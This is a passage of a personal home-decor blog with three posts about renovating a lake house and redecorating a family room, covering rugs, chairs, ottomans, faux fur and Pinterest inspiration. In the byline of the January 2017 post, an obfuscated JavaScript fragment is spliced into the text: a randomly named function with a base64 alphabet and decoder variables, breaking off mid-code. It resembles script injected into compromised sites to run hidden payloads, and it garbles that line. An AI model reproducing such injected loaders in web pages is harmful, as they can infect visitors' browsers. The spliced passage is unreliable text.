Design

…lake reno continued

May 3, 2017 By christen 7 Comments

I don’t know about you, but I can’t feel completely and totally relaxed in a room of mine unless it’s exactly the way I want it. It’s hard for me to settle down and even watch a show without looking around and rearranging in my head. We’ve been blessed to be in our lake house for a year now and we are doing little things to renovate and decorate.

As you know, I’m using blues and whites, but trying not to be too cliche about it. Here’a an update:

I’m so excited about this rug. It adds just a little global to the room and the tassels are braided. Super cute. These are some Ballard chairs that I purchased about 10 years ago and had them recovered in the same Sunbrella that I did at my home.

I’m also happy about how the coffee table turned out with the sanded and stained top w/ white legs. To be honest, the only reason those legs are white is because DH said there’s no way he’s sanding them and I didn’t jump to it either. I think it works for now.

For now, I am leaving the large fireplace stone. Initially I was going to – wait for it – paint it, but it doesn’t bother me so much. I found these cool, antique windows at a barn sale last year and the boat is from my dad’s antique collection. The boxwoods are faux, but I always like a little green and the chairs are in the color I wanted. Very inexpensive for chairs. Shhhhhhh. Found them at Joss and Main for about $200 each. I didn’t like the legs and so I ordered new ones and voila!

I think it makes the chairs look more expensive. I found the legs on Amazon and they literally screwed right in! Easy.

I finished my teacup series and hung them without a level or tape measure on the wall. DH was impressed. And I used Command strips – best invention ever! You never have to use a nail again! These things are impressive.

Love how the gold frames (also via Amazon) catch my eye. The basement guestroom is just about completed and the stairway will be in Phase II because we still need time for plenty of play!

Filed Under: building a room Tagged With: blue egg brown nest, Decor, Design, DH, lake renovation, renovation

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January 4, 2017 By christen function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do/#respond">Leave a Comment

Umm, so it’s the New Year and after taking down the tree and sending the kids off to their busy days, I get an itch to move around all my furniture, clear off the table tops and re-decorate EVERYTHING. Unfortunately, I don’t have the budget to do this. But, I think I can sneak in a few changes without breaking the bank.

I guess I wormed my way into ordering some ottomans after returning a few Christmas presents from DH. I know there are those of us out there that return gifts from our husbands so we can get what we are eyeing. For me, most times, I end up returning clothing items for house items. For me, I think it’s more of a feeling of freshening up the house and creating an inspiring feeling….for myself. Yes, it’s for me. This homebody gets inspiration from her home and I want it the way I think it should be and there’s no shame in that. Sometimes Mama wins.

So, I’m starting with buying ottomans for my side chairs and because they no longer make the fabric for my roll armed chairs, I had to start from scratch and redo those. It’s a project. I’m not sure the fabric was working in their anyway because I changed out my turquoise pillows for more neutral over the last spring. Then, I started to feel like the room was so neutral. I’m working on a game plan. And yes, I’m going to try to do pictures with cats in them. Not too hard to do and I love it.

I want to keep a bit of blue because it makes me happy….and I get very distracted by pattern when looking at fabric.

Maybe I’ll change things on the large coffee table. Maybe only books on the coffee table. Maybe lanterns. Maybe brass lanterns because brass is definitely having a moment. This would be an easy way to include it. Hmmmm.

Yes, I like something like this I think. It’s just a touch of what is trending now with that sleek look. Yes, my rustic lovers, sleek is in and shabby not so much. But, we don’t have to give up what we love. We can just do a little here and there. I like to keep relevant so I’m giving it a go. And books never go out of style.

In my search for colors that work and renew, some of my favorite designer are using black. Hmmm. I never would have considered it, but it can actually work with neutrals. I’m not sold yet, but considering it. One of my favorite blogs has some beautiful designs. Yes, these are a bit more modern and West Coast, but I can appreciate the textures.

I am also planning on upholstering some wood chairs MYSELF with faux fur. I promise to show you as I am very, very excited about it! Fur is hot right now too and can go shabby or modern. Win.

And this fur below is timeless. Always en vogue, Boys.

If you have not started following my new lifestyle blog, join me! I’ve been discussing books I’ve read and the diet I’ve been doing the past few months (PS, I’ve lost 20 lbs in 2 months so it’s worth a look!)

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Filed Under: building a room Tagged With: decorating with fur, Design, fabric, family room, fur

…i’ve been working on a lake house

July 11, 2016 By christen 10 Comments

Hi Friends!

I am here, but I am a busy bee this summer. I am working on our little lake house and will be for most of the summer. I am going slowly because, well, I want to play in the lake!

Yes, there is a part of me that would just like to “fix”, update and redo everything around me, and there is another part that wants to experiment and try something a bit different. I don’t want to have the same exact decor here as I do at home if that makes sense. I want to create a feeling that will refresh my family, calm us and help us recharge. At first I had the idea that I was going to literally paint everything in eye sight white – including the floors, which I still want to do.

This is what I was envisioning.

Can I get an amen?!

And I plan on doing many of these things as inspired by Pinterest. I will eventually paint the kitchen cabinets, a fireplace, some wood furniture. But, part of me wants to incorporate the shades of blue that I am noticing in every catalogs that comes in the door. Like this:

I think the risk is that with a lake or beach home, you don’t want to decorate too literally. Some blue and make one pillow referencing a lake is okay, maybe a few shells, but you don’t want to overdo it because I think it can be come a bit too much. I want it to be a subtle nod to the water around us.

I think when planning out a space you need to collect pictures that inspire you. You may not know why you feel moved by them, but that does not matter right away. What you want to get an idea of is the tone of the space. Pinterest is a great place to make a motivational board or even a three-ring binder with magazine clippings. I have at least two of these going at all times. If I see something in a catalog or magazine, I will tear it out and stuff it in the binder. It’s not very organzied in there, but it is all in one spot. I found myself really loving some of this gold, white and blues. Now, how to work it all together?

I keep going back to the movie “Something’s Gotta Give” with Jack Nickolson and Diane Keating (one of my fav movies!). The Hampton’s Beach home was literally to die for. I think I’ll start there. Oh – and she was a writer! Like she wrote her plays at the beach house – can you imagine? I can think of nothing better. Truly inspiring for this gal.